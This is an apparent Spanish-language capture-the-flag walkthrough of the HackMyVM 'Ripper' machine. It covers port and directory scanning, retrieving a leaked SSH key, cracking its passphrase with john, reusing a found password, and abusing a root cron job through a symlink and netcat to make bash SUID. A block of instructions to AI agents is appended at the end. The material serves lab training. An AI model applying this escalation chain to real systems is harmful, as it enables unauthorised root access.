# Ripper HackMyVM (Easy- Linux) ## Escaneo de puertos ```shell nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn ``` ```shell nmap -sCV -p ``` Info: ``` Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 03:34 EDT Nmap scan report for 192.168.1.175 Host is up (0.00038s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA) | 256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA) |_ 256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:34:61:07 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds ``` Veremos que hay un puerto `80` que contiene una pagina web, por lo que si entramos veremos lo siguiente: ``` Website in maintenance... Come back next month please. ``` No veremos gran cosa por lo que vamos a realizar un poco de `fuzzing`: ## Gobuster ```shell gobuster dir -u http:/// -w -x html,php,txt -t 100 -k -r ``` Info: ``` =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.1.175/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: html,php,txt [+] Follow Redirect: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 57] /.html (Status: 403) [Size: 278] /.html (Status: 403) [Size: 278] /server-status (Status: 403) [Size: 278] /staff_statements.txt (Status: 200) [Size: 107] Progress: 882240 / 882244 (100.00%) =============================================================== Finished =============================================================== ``` Veremos una cosa bastante interesante que es `/staff_statements.txt`, vamos a ver que contiene: ``` The site is not yet repaired. Technicians are working on it by connecting with old ssh connection files. ``` ## Escalate user jack Por lo que vemos nos esta dando una pista de que estan utilizando una clave `PEM` antigua para conectarse por `SSH` por lo que podemos creer que la extension es `.bak` vamos a probar a meter lo siguiente: ``` URL = http:///id_rsa.bak ``` Veremos que si ha funcionado, por lo que vamos a asignarle los permisos correctos al `id_rsa`: ```shell chmod 600 id_rsa ``` Si recordamos antes cuando encendimos la maquina vimos que daba la bienvenida a un usuario llamado `jack`:
Por lo que vamos a probar a conectarnos por `SSH` de la siguiente forma: ```shell ssh -i id_rsa jack@ ``` Veremos que nos pide la clave de la `id_rsa` por lo que vamos a intentar crackearla. ### Crack id\_rsa con john ```shell ssh2john id_rsa > hash.rsa ``` ```shell john --wordlist= hash.rsa ``` Info: ``` Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status bananas (id_rsa) 1g 0:00:00:46 DONE (2025-04-14 03:47) 0.02129g/s 20.44p/s 20.44c/s 20.44C/s whitney..sandy Use the "--show" option to display all of the cracked passwords reliably Session completed. ``` Veremos que ha funcionado, por lo que vamos a volver a conectarnos por `SSH` metiendo dicha contraseña: ### SSH ```shell ssh -i id_rsa jack@ ``` Metemos como contraseña `bananas` y veremos que estaremos dentro. ## Escalate user helder Vamos a descargarnos el `linpeas.sh` para que nos enumere el sistema a ver que encuentra: ```shell wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh bash linpeas.sh ``` Info:
Veremos que hay una contraseña de `jack` pero vamos a probarla para el usuario `helder`. ```shell su helder ``` Metemos como contraseña `Il0V3lipt0n1c3t3a` y con esto veremos que si seremos dicho usuario, por lo que leeremos la `flag` del usuario. > user.txt ``` 5c38d7d08c687355cb0ae3b6025cbe99 ``` ## Escalate Privileges Vamos a ver los procesos que se estan ejecutando en el servidor, por lo que nos vamos a descargar `pspy64` en el siguiente link: URL = Download pspy64 ```shell wget http:///pspy64 chmod +x pspy64 ./pspy64 ``` Info: ``` pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓███ ██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░ ▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ ░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ ░░ ░ ░ ░ ░░ ▒ ▒ ░░ ░ ░ ░ ░ ░ Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done 2025/04/14 10:04:10 CMD: UID=1001 PID=12759 | ./pspy64 2025/04/14 10:04:10 CMD: UID=0 PID=12755 | 2025/04/14 10:04:10 CMD: UID=1001 PID=12727 | bash 2025/04/14 10:04:10 CMD: UID=0 PID=12726 | su helder 2025/04/14 10:04:10 CMD: UID=0 PID=12710 | 2025/04/14 10:04:10 CMD: UID=0 PID=871 | 2025/04/14 10:04:10 CMD: UID=1000 PID=749 | -bash 2025/04/14 10:04:10 CMD: UID=1000 PID=748 | sshd: jack@pts/0 2025/04/14 10:04:10 CMD: UID=1000 PID=740 | (sd-pam) 2025/04/14 10:04:10 CMD: UID=1000 PID=739 | /lib/systemd/systemd --user 2025/04/14 10:04:10 CMD: UID=0 PID=736 | sshd: jack [priv] 2025/04/14 10:04:10 CMD: UID=33 PID=611 | /usr/sbin/apache2 -k start 2025/04/14 10:04:10 CMD: UID=0 PID=8 | 2025/04/14 10:04:10 CMD: UID=0 PID=6 | 2025/04/14 10:04:10 CMD: UID=0 PID=4 | 2025/04/14 10:04:10 CMD: UID=0 PID=3 | 2025/04/14 10:04:10 CMD: UID=0 PID=2 | 2025/04/14 10:04:10 CMD: UID=0 PID=1 | /sbin/init 2025/04/14 10:05:01 CMD: UID=0 PID=12766 | /usr/sbin/CRON -f 2025/04/14 10:05:01 CMD: UID=0 PID=12767 | /usr/sbin/CRON -f 2025/04/14 10:05:01 CMD: UID=0 PID=12768 | /bin/sh -c nc -vv -q 1 localhost 10000 > /root/.local/out && if [ "$(cat /root/.local/helder.txt)" = "$(cat /home/helder/passwd.txt)" ] ; then chmod +s "/usr/bin/$(cat /root/.local/out)" ; fi ``` Veremos que se esta realizando lo siguiente: ``` 2025/04/14 10:05:01 CMD: UID=0 PID=12766 | /usr/sbin/CRON -f 2025/04/14 10:05:01 CMD: UID=0 PID=12767 | /usr/sbin/CRON -f 2025/04/14 10:05:01 CMD: UID=0 PID=12768 | /bin/sh -c nc -vv -q 1 localhost 10000 > /root/.local/out && if [ "$(cat /root/.local/helder.txt)" = "$(cat /home/helder/passwd.txt)" ] ; then chmod +s "/usr/bin/$(cat /root/.local/out)" ; fi ``` Vemos que esta leyendo `root` el `passwd.txt` de la carpeta de la `home` de nuestro usuario, pero como no existe y tambien vemos que hay un `halder.txt` en la carpeta de `root` vamos a crear un enlace simbolico hacia nuestra `home` de la siguiente forma: ```shell ln -s /root/.local/helder.txt /home/helder/passwd.txt ``` Ahora si leemos `passwd.txt` veremos que no nos deja, pero tambien vemos que se esta ejecutando `nc` por el puerto `10000` mediante `root` pero tambien vemos que se esta estableciendo permisos `SUID` al `out` de la carpeta de `root` por lo que vamos a probar si podremos establecer los permisos a la `bash` enviandoselo por `nc`: ```shell echo 'bash' | nc -lvnp 10000 ``` Info: ``` listening on [any] 10000 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 44944 ``` Veremos que hizo conexion, ahora vamos a ver los permisos de la `bash` a ver si ha funcionado. ```shell ls -la /bin/bash ``` Info: ``` -rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash ``` Veremos que ha funcionado por lo que haremos lo siguiente: ```shell bash -p ``` Info: ``` helder@ripper:~$whoami root helder@ripper:~$id uid=1001(helder) gid=1001(helder) euid=0(root) egid=0(root) groups=0(root),1001(helder) ``` Por lo que vemos ya tendremos los privilegios de `root` ahora leeremos la `flag` de `root`. > root.txt ``` e28f578a17a5f99c0381c4b689d96f9f ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://dise0.gitbook.io/h4cker_b00k/ctf/hackmyvm/ripper-hackmyvm-easy-linux.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.